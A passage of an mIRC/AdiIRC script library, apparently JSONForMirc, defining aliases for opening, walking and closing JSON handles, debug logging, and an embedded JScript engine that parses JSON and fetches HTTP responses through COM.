  2309.   if (%BUnset) { bunset %BVar }
  2310.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2311.   else { jfm_log -EsDF Http Data retrieved }
  2312. }
  2313. alias JSONClose {
  2314.   if ($isid) { return }
  2315.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2316.   var %Switches,%Error,%Match,%Com,%X 1
  2317.   jfm_log -I /JSONClose $1-
  2318.   if (-* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2319.   if ($0 < 1) { %Error = PARAMTER_MISSING }
  2320.   elseif ($0 > 1) { %Error = PARAMETER_INVALID }
  2321.   elseif ($regex(%Switches,/([^w])/)) { %Error = SWITCH_UNKNOWN: $+ $regml(1) }
  2322.   elseif (: isin $1) && (w isincs %Switches || JSON:* !iswmcs $1) { %Error = PARAMETER_INVALID }
  2323.   else {
  2324.     %Match = $1
  2325.     if (JSON:* iswmcs $1) { %Match = $gettok($1,2-,58) }
  2326.     %Match = $replacecs(%Match,\E,\E\\E\Q)
  2327.     if (w isincs %Switches) { %Match = $replacecs(%Match,?,\E[^:]\Q,*,\E[^:]*\Q) }
  2328.     %Match = /^JSON:\Q $+ %Match $+ \E(?::\d+)?$/i
  2329.     %Match = $replacecs(%Match,\Q\E,)
  2330.     while (%X <= $com(0)) {
  2331.       %Com = $com(%X)
  2332.       if ($regex(%Com,%Match)) {
  2333.         .comclose %Com
  2334.         if ($timer(%Com)) { .timer $+ %Com off }
  2335.         jfm_log Closed %Com
  2336.       }
  2337.       else { inc %X }
  2338.     }
  2339.   }
  2340.   :error
  2341.   if ($error) { %Error = $error }
  2342.   reseterror
  2343.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeD /JSONClose %Error }
  2344.   else { jfm_log -EsD All matching handles closed }
  2345. }
  2346. alias JSONList {
  2347.   if ($isid) { return }
  2348.   var %X 1,%I 0
  2349.   jfm_log /JSONList $1-
  2350.   while ($com(%X)) {
  2351.     if (JSON:?* iswm $v1) { inc %I | echo $color(info) -age * $chr(35) $+ %I $+ : $v2 }
  2352.     inc %X
  2353.   }
  2354.   if (!%I) { echo $color(info) -age * No active JSON handlers }
  2355. }
  2356. alias JSONShutDown {
  2357.   if ($isid) { return }
  2358.   JSONClose -w *
  2359.   if ($JSONDebug) { JSONDebug off }
  2360.   if ($window(@SReject/JSONForMirc/Log)) { close -@ $v1 }
  2361.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2362.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2363.   if ($hget(SReject/JSONForMirc)) { hfree $v1 }
  2364. }
  2365. alias JSON {
  2366.   if (!$isid) { return }
  2367.   if ($hget(SReject/JSONForMirc, Error)) { hdel SReject/JSONForMirc Error }
  2368.   var %X,%Args,%Params,%Error,%Com,%I 0,%Prefix,%Prop,%Suffix,%Offset 2,%Type,%Output,%Result,%ChildCom,%Call
  2369.   if (*ToFile iswm $prop) { %Offset = 3 }
  2370.   if ($JSONDebug) {
  2371.     %X = 1
  2372.     while (%X <= $0) {
  2373.       if (%Args !== $null) { %Args = %Args $+ $chr(44) }
  2374.       %Args = %Args $+ $evalnext($ $+ %X)
  2375.       if (%X >= %Offset) { %Params = %Params $+ ,bstr,$ $+ %X }
  2376.       inc %X
  2377.     }
  2378.   }
  2379.   elseif ($0 >= %Offset) {
  2380.     %X = %Offset
  2381.     while (%X <= $0) { %Params = %Params $+ ,bstr,$ $+ %X | inc %X }
  2382.   }
  2383.   jfm_log -I $!JSON( $+ %Args $+ ) $+ $iif($prop !== $null, . $+ $prop)
  2384.   if (!$0) || ($0 == 1 && $1 == $null) { %Error = PARAMETER_MISSING | goto error }
  2385.   if ($0 == 1) && ($1 == 0) && ($prop !== $null) { %Error = PROP_NOT_APPLICABLE | goto error }
  2386.   if ($regex(name,$1,/^JSON:[^:?*]+(?::\d+)?$/i)) { %Com = $1 }
  2387.   elseif (: isin $1 || * isin $1 || ? isin $1) || ($1 == 0 && $0 !== 1) { %Error = INVALID_NAME }
  2388.   elseif ($1 isnum 0- && . !isin $1) {
  2389.     %X = 1
  2390.     while ($com(%X)) {
  2391.       if ($regex($v1,/^JSON:[^:]+$/)) {
  2392.         inc %I
  2393.         if (%I === $1) { %Com = $com(%X) | break }
  2394.       }
  2395.       inc %X
  2396.     }
  2397.     if ($1 === 0) { jfm_log -EsDF %I | return %I }
  2398.   }
  2399.   else { %Com = JSON: $+ $1 }
  2400.   if (!%Error) && (!$com(%Com)) { %Error = HANDLER_NOT_FOUND }
  2401.   elseif (* isin $prop) || (? isin $prop) { %Error = INVALID_PROP }
  2402.   else {
  2403.     if ($regex($prop, /^((?:fuzzy)?)(.*?)((?:to(?:bvar|file))?)?$/i)) { %Prefix = $regml(1) | %Prop = $regml(2) | %Suffix = $regml(3) }
  2404.     %Prop = $regsubex(%Prop, /^url/i, http)
  2405.     if (%Suffix == tofile) {
  2406.       if ($0 < 2) { %Error = INVALID_PARAMETERS }
  2407.       elseif (!$len($2) || $isfile($2) || (!$regex($2, /[\\\/]/) && " isin $2)) { %Error = INVALID_FILE }
  2408.       else { %Output = $longfn($2) }
  2409.     }
  2410.   }
  2411.   if (%Error) { goto error }
  2412.   elseif ($0 == 1) && (!$prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2413.   elseif (%Prop == isChild) {
  2414.     %Result = $jfm_TmpBVar
  2415.     if (JSON:?*:?* iswm %com) { bset -t %Result 1 $true }
  2416.     else { bset -t %Result 1 $false }
  2417.   }
  2418.   elseif ($wildtok(state|error|input|inputType|httpParse|httpHead|httpStatus|httpStatusText|httpHeaders|httpBody|httpResponse,%Prop,1,124)) {
  2419.     if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2420.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2421.   }
  2422.   elseif (%Prop == httpHeader) {
  2423.     if ($calc($0 - %Offset) < 0) { %Error = INVALID_PARAMETERS }
  2424.     elseif ($jfm_Exec(%Com,httpHeader,$evalnext($ $+ %Offset))) { %Error = $v1 }
  2425.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2426.   }
  2427.   elseif (%Prop == $null) || ($wildtok(path|pathLength|type|isContainer|length|value|string|debug, %Prop, 1, 124)) {
  2428.     %Prop = $v1
  2429.     if ($0 >= %Offset) {
  2430.       %ChildCom = JSON: $+ $gettok(%Com,2,58) $+ :
  2431.       %X = $ticks $+ 000000
  2432.       while ($com(%ChildCom $+ %X)) { inc %X }
  2433.       %ChildCom = %ChildCom $+ %X
  2434.       %Call = $!com( $+ %Com $+ ,walk,1,bool, $+ $iif(fuzzy == %Prefix,$true,$false) $+ %Params $+ ,dispatch* %ChildCom $+ )
  2435.       jfm_log %Call
  2436.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%ChildCom)) { %Error = $jfm_GetError | goto error }
  2437.       .timer $+ %ChildCom -iom 1 0 JSONClose %ChildCom
  2438.       %Com = %ChildCom
  2439.       jfm_log
  2440.     }
  2441.     if (!%Prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2442.     elseif (%Prop !== value) {
  2443.       if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2444.       else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2445.     }
  2446.     elseif ($jfm_Exec(%Com,type)) { %Error = $v1 }
  2447.     elseif ($bvar($hget(SReject/JSONForMirc,Exec),1-).text == object) || ($v1 == array) { %Error = INVALID_TYPE }
  2448.     elseif ($jfm_Exec(%Com,value)) { %Error = $v1 }
  2449.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2450.   }
  2451.   else { %Error = UNKNOWN_PROP }
  2452.   if (!%Error) {
  2453.     if (%Suffix == tofile) { bwrite $qt(%Output) -1 -1 %Result | bunset %Result | %Result = %Output }
  2454.     elseif (%Suffix !== tobvar) { %Result = $bvar(%Result,1,4000).text }
  2455.   }
  2456.   :error
  2457.   if ($error) { %Error = $error }
  2458.   reseterror
  2459.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2460.   else { jfm_log -EsDF %Result | return %Result }
  2461. }
  2462. alias JSONForEach {
  2463.   if (!$isid) { return }
  2464.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2465.   var %Error,%Log,%Call,%X 0,%JSON,%Com,%ChildCom,%Result 0,%Name
  2466.   %Log = $!JSONForEach(
  2467.   if ($prop == walk) { %Call = ,forEach,1,bool,$true,bool,$false }
  2468.   elseif ($prop == fuzzy) { %Call = ,forEach,1,bool,$false,bool,$true }
  2469.   else { %Call = ,forEach,1,bool,$false,bool,$false }
  2470.   while (%X < $0) {
  2471.     inc %X
  2472.     %Log = %Log $+ $evalnext($ $+ %X) $+ ,
  2473.     if (%X > 2) { %Call = %Call $+ ,bstr, $+ $ $+ %X }
  2474.   }
  2475.   jfm_log -I $left(%Log,-1) $+ $chr(41) $+ $iif($prop !== $null,. $+ $v1)
  2476.   if ($0 < 2) { %Error = INVAID_PARAMETERS }
  2477.   elseif ($1 == 0) { %Error = INVALID_HANDLER }
  2478.   elseif ($prop !== $null) && ($prop !== walk) && ($prop !== fuzzy) { %Error = INVALID_PROPERTY }
  2479.   elseif ($0 > 2) && ($prop == walk) { %Error = PARAMETERS_NOT_APPLICABLE }
  2480.   elseif (!$1) || ($1 == 0) || (!$regex($1,/^((?:[^?:*]+)|(?:JSON:[^?:*]+(?::\d+)))$/)) { %Error = NAME_INVALID }
  2481.   else {
  2482.     if (JSON:?* iswm $1) { %JSON = $com($1) }
  2483.     elseif ($regex($1,/^\d+$/i)) {
  2484.       %X = 1
  2485.       %JSON = 0
  2486.       while ($com(%X)) {
  2487.         if ($regex($1,/^JSON:[^?*:]+$/)) {
  2488.           inc %JSON
  2489.           if (%JSON == $1) { %JSON = $com(%X) | break }
  2490.           elseif (%X == $com(0)) { %JSON = $null }
  2491.         }
  2492.         inc %X
  2493.       }
  2494.     }
  2495.     else { %JSON = $com(JSON: $+ $1) }
  2496.     if (!%JSON) { %Error = HANDLE_NOT_FOUND }
  2497.     else {
  2498.       %Com = $gettok(%JSON,1-2,58) $+ :
  2499.       %X = $ticks $+ 000000
  2500.       while ($com(%Com $+ %X)) { inc %X }
  2501.       %Com = %Com $+ %X
  2502.       %Call = $!com( $+ %JSON $+ %Call $+ ,dispatch* %Com $+ )
  2503.       jfm_log %Call
  2504.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%Com)) { %Error = $jfm_GetError }
  2505.       else {
  2506.         .timer $+ %Com -iom 1 0 JSONClose $unsafe(%Com)
  2507.         if (!$com(%Com, length, 2)) || ($comerr) { %Error = $jfm_GetError }
  2508.         elseif ($com(%Com).result) {
  2509.           %Result = $v1
  2510.           %X = 0
  2511.           %ChildCom = $gettok(%Com,1-2,58) $+ :
  2512.           %Name = $ticks
  2513.           while ($com(%ChildCom $+ %Name)) { inc %Name }
  2514.           %Name = %ChildCom $+ %Name
  2515.           hinc -m SReject/JSONForMirc ForEach/Index
  2516.           hadd -m SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index) %Name
  2517.           while (%X < %Result) {
  2518.             if (!$com(%Com,%X,2,dispatch* %Name) || $comerr) { %Error = $jfm_GetError | break }
  2519.             jfm_log -I Calling $1 %Name
  2520.             $2 %Name
  2521.             .comclose %Name
  2522.             jfm_log -D
  2523.             inc %X
  2524.           }
  2525.           hdel SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc, ForEach/Index)
  2526.           hdec SReject/JSONForMirc ForEach/Index
  2527.           if ($hget(SReject/JSONForMirc, ForEach/Index) == 0) { hdel SReject/JsonForMirc ForEach/Index }
  2528.         }
  2529.       }
  2530.     }
  2531.   }
  2532.   :error
  2533.   if ($error) { %Error = $error }
  2534.   reseterror
  2535.   if (%Error) {
  2536.     if ($com(%Com)) { .comclose $v1 }
  2537.     if (JSON:* iswm %Name && $com(%Name)) { .comclose %Name }
  2538.     hadd -mu0 SReject/JSONForMirc Error %Error
  2539.     jfm_log -EeDF %Error
  2540.   }
  2541.   else { jfm_log -EsDF %Result | return %Result }
  2542. }
  2543. alias JSONItem {
  2544.   var %Com = $hget(SReject/JSONForMirc,ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index)),%Type,%Bvar,%Text
  2545.   if (!$isid || !%Com || !$com(%Com)) { return }
  2546.   if ($1 == Value || $1 == Valuetobvar) {
  2547.     %BVar = $jfm_TmpBVar
  2548.     noop $com(%Com, value, 1) $Com(%Com, %BVar).result
  2549.     if ($1 == valuetobvar) { return %Bvar }
  2550.     %Text = $bvar(%BVar, 1, 4000).text
  2551.     bunset %BVar
  2552.     return %Text
  2553.   }
  2554.   elseif ($1 == Length) { noop $com(%Com, length, 1) | return $com(%Com).result }
  2555.   elseif ($1 == Type || $1 == IsContainer) {
  2556.     noop $com(%Com, type, 1)
  2557.     %Type = $com(%Com).result
  2558.     if ($1 == type) { return %Type }
  2559.     if (%Type == Object || %Type == Array) { return $true }
  2560.     return $false
  2561.   }
  2562. }
  2563. alias JSONPath {
  2564.   if (!$isid) return
  2565.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2566.   var %Error,%Param,%X 0,%JSON,%Result
  2567.   while (%X < $0) { inc %X | %Param = %Param $+ $evalnext($ $+ %X) $+ , }
  2568.   jfm_log -I $!JSONPath( $+ $left(%Param,-1) $+ )
  2569.   if ($0 !== 2) { %Error = INVALID_PARAMETERS }
  2570.   elseif ($prop !== $null) { %Error = PROP_NOT_APPLICABLE }
  2571.   elseif (!$1) || ($1 == 0) || (!$regex($1, /^(?:(?:JSON:[^?:*]+(?::\d+)*)?|([^?:*]+))$/i)) { %Error = NAME_INVALID }
  2572.   elseif ($2 !isnum 0-) || (. isin $2) { %Error = INVALID_INDEX }
  2573.   else {
  2574.     %JSON = $JSON($1)
  2575.     if ($JSONError) { %Error = $v1 }
  2576.     elseif (!%JSON) { %Error = HANDLER_NOT_FOUND }
  2577.     elseif ($JSON(%JSON).pathLength == $null) { %Error = $JSONError }
  2578.     else {
  2579.       %Result = $v1
  2580.       if (!$2) { noop }
  2581.       elseif ($2 > %Result) { unset %Result }
  2582.       elseif (!$com(%JSON, pathAtIndex, 1, bstr, $calc($2 -1))) || ($comerr) { %Error = $jfm_GetError }
  2583.       else { %Result = $com(%JSON).result }
  2584.     }
  2585.   }
  2586.   :error
  2587.   if ($error) { %Error = $v1 }
  2588.   reseterror
  2589.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2590.   else { jfm_log -EsDF %Result | return %Result }
  2591. }
  2592. alias JSONError { if ($isid) { return $replace($hget(SReject/JSONForMirc,Error),$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) } }
  2593. alias JSONVersion {
  2594.   if ($isid) {
  2595.     var %Ver 1.0.4000
  2596.     if ($0) { return %Ver }
  2597.     return SReject/JSONForMirc v $+ %Ver
  2598.   }
  2599. }
  2600. alias JSONDebug {
  2601.   var %State $false, %Aline aline $color(info2) @SReject/JSONForMirc/Log
  2602.   if ($group(#SReject/JSONForMirc/Log) == on) {
  2603.     if (!$window(@SReject/JSONForMirc/Log)) { .disable #SReject/JSONForMirc/log }
  2604.     else { %State = $true }
  2605.   }
  2606.   if ($isid) { return %State }
  2607.   elseif (!$0) || ($1 == toggle) {
  2608.     if (%State) { tokenize 32 disable }
  2609.     else { tokenize 32 enable }
  2610.   }
  2611.   if ($1 == on) || ($1 == enable) {
  2612.     if (%State) { echo $color(info).dd -atngq * /JSONDebug: debug already enabled | return }
  2613.     .enable #SReject/JSONForMirc/Log
  2614.     %State = $true
  2615.   }
  2616.   elseif ($1 == off) || ($1 == disable) {
  2617.     if (!%State) { echo $color(info).dd -atngq * /JSONDebug: debug already disabled | return }
  2618.     .disable #SReject/JSONForMirc/Log
  2619.     %State = $false
  2620.   }
  2621.   else { echo $color(info).dd -atng * /JSONDebug: Unknown input | return }
  2622.   if (%State) {
  2623.     if (!$window(@SReject/JSONForMirc/Log)) { window -zk0ej10000 @SReject/JSONForMirc/Log }
  2624.     %Aline Debug now enabled - $JSONVersion
  2625.     if ($~adiircexe) { %Aline AdiIRC v $+ $version $iif($beta, beta $builddate) $bits $+ bit }
  2626.     else { %Aline mIRC v $+ $version $iif($beta, beta $v1) $bits $+ bit }
  2627.     %Aline -
  2628.   }
  2629.   elseif ($window(@SReject/JSONForMirc/Log)) { %aline [JSONDebug] Debug now disabled }
  2630.   window -b @SReject/JSONForMirc/Log
  2631. }
  2632. alias -l jfm_TmpBVar {
  2633.   var %N $ticks $+ 00000
  2634.   jfm_log -I $!jfm_TmpBVar
  2635.   while ($bvar(&SReject/JSONForMirc/Tmp $+ %N)) { inc %N }
  2636.   jfm_log -EsD &SReject/JSONForMirc/Tmp $+ %N
  2637.   return &SReject/JSONForMirc/Tmp $+ %N
  2638. }
  2639. alias -l jfm_ComInit {
  2640.   var %Error,%Js $jfm_TmpBVar
  2641.   jfm_log -I $!jfm_ComInit
  2642.   if ($com(SReject/JSONForMirc/JSONShell) && $com(SReject/JSONForMirc/JSONEngine)) { jfm_log -EsD Already Initialized | return }
  2643.   jfm_jscript %Js
  2644.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2645.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2646.   if ($~adiircexe !== $null) && ($bits == 64) { .comopen SReject/JSONForMirc/JSONShell ScriptControl }
  2647.   else { .comopen SReject/JSONForMirc/JSONShell MSScriptControl.ScriptControl }
  2648.   if (!$com(SReject/JSONForMirc/JSONShell)) || ($comerr) { %Error = SCRIPTCONTROL_INIT_FAIL }
  2649.   elseif (!$com(SReject/JSONForMirc/JSONShell, language, 4, bstr, jscript)) || ($comerr) { %Error = LANGUAGE_SET_FAIL }
  2650.   elseif (!$com(SReject/JSONForMirc/JSONShell, AllowUI, 4, bool, $false)) || ($comerr) { %Error = ALLOWIU_SET_FAIL }
  2651.   elseif (!$com(SReject/JSONForMirc/JSONShell, timeout, 4, integer, -1)) || ($comerr) { %Error = TIMEOUT_SET_FAIL }
  2652.   elseif (!$com(SReject/JSONForMirc/JSONShell, ExecuteStatement, 1, &bstr, %Js)) || ($comerr) { %Error = JSCRIPT_EXEC_FAIL }
  2653.   elseif (!$com(SReject/JSONForMirc/JSONShell, Eval, 1, bstr, this, dispatch* SReject/JSONForMirc/JSONEngine)) || ($comerr) || (!$com(SReject/JSONForMirc/JSONEngine)) { %Error = ENGINE_GET_FAIL }
  2654.   :error
  2655.   if ($error) { %Error = $v1 | reseterror }
  2656.   if (%Error) {
  2657.     if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2658.     if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2659.     jfm_log -EeD %Error
  2660.     return %Error
  2661.   }
  2662.   else { hadd -m SReject/JSONForMirc bvar 0 | hadd -m SReject/JSONForMirc com 0 | jfm_log -EsD Successfully initialized }
  2663. }
  2664. alias -l jfm_ToggleTimers {
  2665.   var %X 1,%Timer
  2666.   while ($timer(%X)) {
  2667.     %Timer = $v1
  2668.     if ($regex(%Timer,/^JSON:[^\?\*\:]+$/i)) { .timer $+ %Timer $1 }
  2669.     inc %X
  2670.   }
  2671. }
  2672. alias -l jfm_GetError {
  2673.   var %Error = UNKNOWN
  2674.   jfm_log -I $!jfm_GetError
  2675.   if ($com(SReject/JSONForMirc/JSONShell).errortext) { %Error = $v1 }
  2676.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2677.   if ($com(SReject/JSONForMirc/JSONShell,Error,2,dispatch* SReject/JSONForMirc/JSONShellError)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError)) && ($com(SReject/JSONForMirc/JSONShellError,Description,2)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError).result !== $null) { %Error = $v1 }
  2678.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2679.   jfm_log -EsD %Error
  2680.   return %Error
  2681. }
  2682. alias -l jfm_Create {
  2683.   var %Wait $iif(1 & $4,$true,$false),%Parse $iif(2 & $4,$false,$true),%Error
  2684.   jfm_log -I $!jfm_create( $+ $1 $+ , $+ $2 $+ , $+ $3 $+ , $+ $4 $+ , $+ $5 $+ )
  2685.   if (!$com(SReject/JSONForMirc/JSONEngine,JSONCreate,1,bstr,$2,&bstr,$3,bool,%Parse,dispatch* $1)) || ($comerr) || (!$com($1)) { %Error = $jfm_GetError }
  2686.   elseif ($2 !== http) || ($2 == http && !%Wait) { %Error = $jfm_Exec($1,parse) }
  2687.   if (%Error) { jfm_log -EeD %Error | return %Error }
  2688.   jfm_log -EsD Created $1
  2689. }
  2690. alias -l jfm_Exec {
  2691.   var %Args,%Index 0,%Params,%Error
  2692.   if ($hget(SReject/JSONForMirc,Exec)) { hdel SReject/JSONForMirc Exec }
  2693.   while (%Index < $0) {
  2694.     inc %Index
  2695.     %Args = %Args $+ $iif($len(%Args),$chr(44)) $+ $evalnext($ $+ %Index)
  2696.     if (%Index >= 3) {
  2697.       if ($prop == fromBvar) && ($regex($evalnext($ $+ %Index),/^& (&\S+)$/)) { %Params = %Params $+ ,&bstr, $+ $regml(1) }
  2698.       else { %Params = %Params $+ ,bstr,$ $+ %Index }
  2699.     }
  2700.   }
  2701.   %Params = $!com($1,$2,1 $+ %Params $+ )
  2702.   jfm_log -I $!jfm_Exec( $+ %Args $+ )
  2703.   if (!$evalnext(%Params) || $comerr) { %Error = $jfm_GetError | jfm_log -EeD %Error | return %Error }
  2704.   else { hadd -mu0 SReject/JSONForMirc Exec $jfm_TmpBVar | noop $com($1, $hget(SReject/JSONForMirc, Exec)).result | jfm_log -EsD Result stored in $hget(SReject/JSONForMirc,Exec) }
  2705. }
  2706. #SReject/JSONForMirc/Log off
  2707. alias -l jfm_log {
  2708.   var %Switches,%Prefix ->,%Color 03,%Indent
  2709.   if (!$window(@SReject/JSONForMirc/Log)) {
  2710.     .JSONDebug off
  2711.     if ($hget(SReject/JSONForMirc,LogIndent)) { hdel SReject/JSONForMirc LogIndent }
  2712.   }
  2713.   else {
  2714.     if (-?* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2715.     if (i isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent }
  2716.     if ($0) {
  2717.       if (E isincs %Switches) { %Prefix = <- }
  2718.       if (e isincs %Switches) { %Color = 04 }
  2719.       elseif (s isincs %Switches) { %Color = 12 }
  2720.       elseif (l isincs %Switches) { %Color = 13 }
  2721.       %Prefix = $chr(3) $+ %Color $+ %Prefix
  2722.       if (F !isincs %Switches) { %Prefix = %Prefix $+ $chr(15) }
  2723.       %Indent = $str($chr(15) $+ $chr(32), $calc($hget(SReject/JSONForMirc, LogIndent) *4))
  2724.       echo -gi $+ $calc(($hget(SReject/JSONForMirc, LogIndent) + 1) * 4 -1) @SReject/JSONForMirc/Log %Indent %Prefix $1-
  2725.     }
  2726.     if (I isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent 1 }
  2727.     if (D isincs %Switches) && ($hget(SReject/JSONForMirc, LogIndent) > 0) { hdec -mu1 SReject/JSONForMirc LogIndent 1 }
  2728.   }
  2729. }
  2730. #SReject/JSONForMirc/Log end
  2731. alias -l jfm_log noop
  2732. alias -l jfm_SaveDebug {
  2733.   if ($isid) {
  2734.     if ($window(@SReject/JSONForMirc/Log)) && ($line(@SReject/JSONForMirc/Log, 0)) { return $true }
  2735.     return $false
  2736.   }
  2737.   var %File $sfile($envvar(USERPROFILE) $+ \Documents\JSONForMirc.log, JSONForMirc - Debug window, Save)
  2738.   if (%File) && (!$isfile(%File) || $input(Are you sure you want to overwrite $nopath(%File) $+ ?, qysa, @SReject/JSONForMirc/Log, Overwrite)) { savebuf @SReject/JSONForMirc/Log $qt(%File) }
  2739. }
  2740. alias -l jfm_badd { bset -t $1 $calc(1 + $bvar($1, 0)) $2- }
  2741. alias -l jfm_jscript {
  2742.   jfm_badd $1 !function(){Array.prototype.forEach=function(c){for(var s=this,i=0;i<s.length;i++)c.call(s,s[i],i)};Array.prototype.find=function(c){for(var s=this,i=0;i<s.length;i+=1)if(c.call(s,s[i]))return s[i]};I=['MSXML2.SERVERXMLHTTP.6.0','MSXML2.SERVERXMLHTTP.3.0','MSXML2.SERVERXMLHTTP'].find(function(x){try{return new ActiveXObject(x),x}catch(e){}});function A(o){if(o===null)return 'null';return Object.prototype.toString.call(o).match(/^\[object ([^\]]+)\]$/)[1].toLowerCase()}function B(o){var k=[],i;for(i in o)if(C(o,i))k.push(i);return k}
  2743.   jfm_badd $1 function C(o,k){return Object.prototype.hasOwnProperty.call(o,k)}
  2744.   jfm_badd $1 function D(s){if(s._state!=='done'||s._error||!s._parse)throw new Error('NOT_D');return s}
  2745.   jfm_badd $1 function E(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='http_pending')throw new Error('HTTP_NOT_PENDING');return s._http}
  2746.   jfm_badd $1 function F(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='done')throw new Error('HTTP_PENDING');return s._http}
  2747.   jfm_badd $1 function G(v){var t=A(v),r='[';if(v===undefined||t==='function')return;if(v===null)return'null';if(t==='number')return isFinite(v)?v.toString():'null';if(t==='boolean')return v.toString();if(t==='string')return'"'+v.replace(/[\\"\u0000-\u001F\u2028\u2029]/g,function(c){return{'"':'\\"','\\':'\\\\','\b':'\\b','\f':'\\f','\n':'\\n','\r':'\\r','\t':'\\t'}[c]||'\\u'+(c.charCodeAt(0)+0x10000).toString(16).substr(1)})+'"';if(t==='array'){v.forEach(function(i,k){i=G(i);if(i)r+=(k?',':'')+i});return r+']'}r=[];B(v).forEach(function(k,o){o=G(v[k]);if(o)r.push(G(k)+':'+o)});return'{'+r.join(',')+'}'}
  2748.   jfm_badd $1 function H(p,j,s){s=this;if(p===undefined)p={};if(j===undefined){s._isChild=!1;s._json=p._json||{}}else{s._isChild=!0;s._json=j}s._state=p._state||'init';s._type=p._type||'text';s._parse=p._parse===!1?!1:!0;s._error=p._error||!1;s._input=p._input;s._http=p._http||{method:'GET',url:'',headers:[]}}
  2749.   jfm_badd $1 H.prototype={
  2750.   jfm_badd $1 state:function(){return this._state},
  2751.   jfm_badd $1 error:function(){return this._error.message},inputType:function(){return this._type},
  2752.   jfm_badd $1 input:function(){return this._input||null},
  2753.   jfm_badd $1 httpParse:function(){return this._parse},
  2754.   jfm_badd $1 httpSetMethod:function(m){E(this).method=m},
  2755.   jfm_badd $1 httpSetHeader:function(h,v){E(this).headers.push([h,v])},
  2756.   jfm_badd $1 httpSetData:function(d){E(this).data=d},
  2757.   jfm_badd $1 httpStatus:function(){return F(this).response.status},
  2758.   jfm_badd $1 httpStatusText:function(){return F(this).response.statusText},
  2759.   jfm_badd $1 httpHeaders:function(){return F(this).response.getAllResponseHeaders()},
  2760.   jfm_badd $1 httpHeader:function(h){return F(this).response.getResponseHeader(h)},
  2761.   jfm_badd $1 httpBody:function(){return F(this).response.responseBody},
  2762.   jfm_badd $1 httpHead:function (s){return s=this,s.httpStatus()+' '+s.httpStatusText()+'\r\n'+s.httpHeaders()},
  2763.   jfm_badd $1 httpResponse:function(){return this.httpHead()+'\r\n\r\n'+this._http.response.reponseText},
  2764.   jfm_badd $1 parse:function(){var s=this,d=!0,x=!1,y=!1,r,j;s.parse=function(){throw new Error('PARSE_NOT_PENDING')};s._state='done';try{if(s._type==='http'){try{if(s._http.data==undefined){d=!1;s._http.data=null}r=new ActiveXObject(I);s._http.response=r;r.open(s._http.method,s._http.url,!1);s._http.headers.forEach(function(h){r.setRequestHeader(h[0],h[1]);if(h[0].toLowerCase()==="content-type")x=!0;if(h[0].toLowerCase()==="content-length")y=!0});if(d){if(!x)r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(!y){if(s._http.data==null)r.setRequestHeader("Content-Length",0);else r.setRequestHeader("Content-Length",String(s._http.data).length)}}r.send(s._http.data);if(s._parse===!1)return s;s._input=r.responseText}catch(e){e.message="HTTP: "+e.message;throw e}}j=String(s._input).replace(/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,function(c){return'\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4)});if(!/^[\],:{}\s]*$/.test(j.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,'')))throw new Error("INVALID_JSON");try{j=eval('('+j+')')}catch(e){throw new Error("INVALID_JSON")}s._json={path:[],value:j};return s}catch(e){s._error=e.message;throw e}},
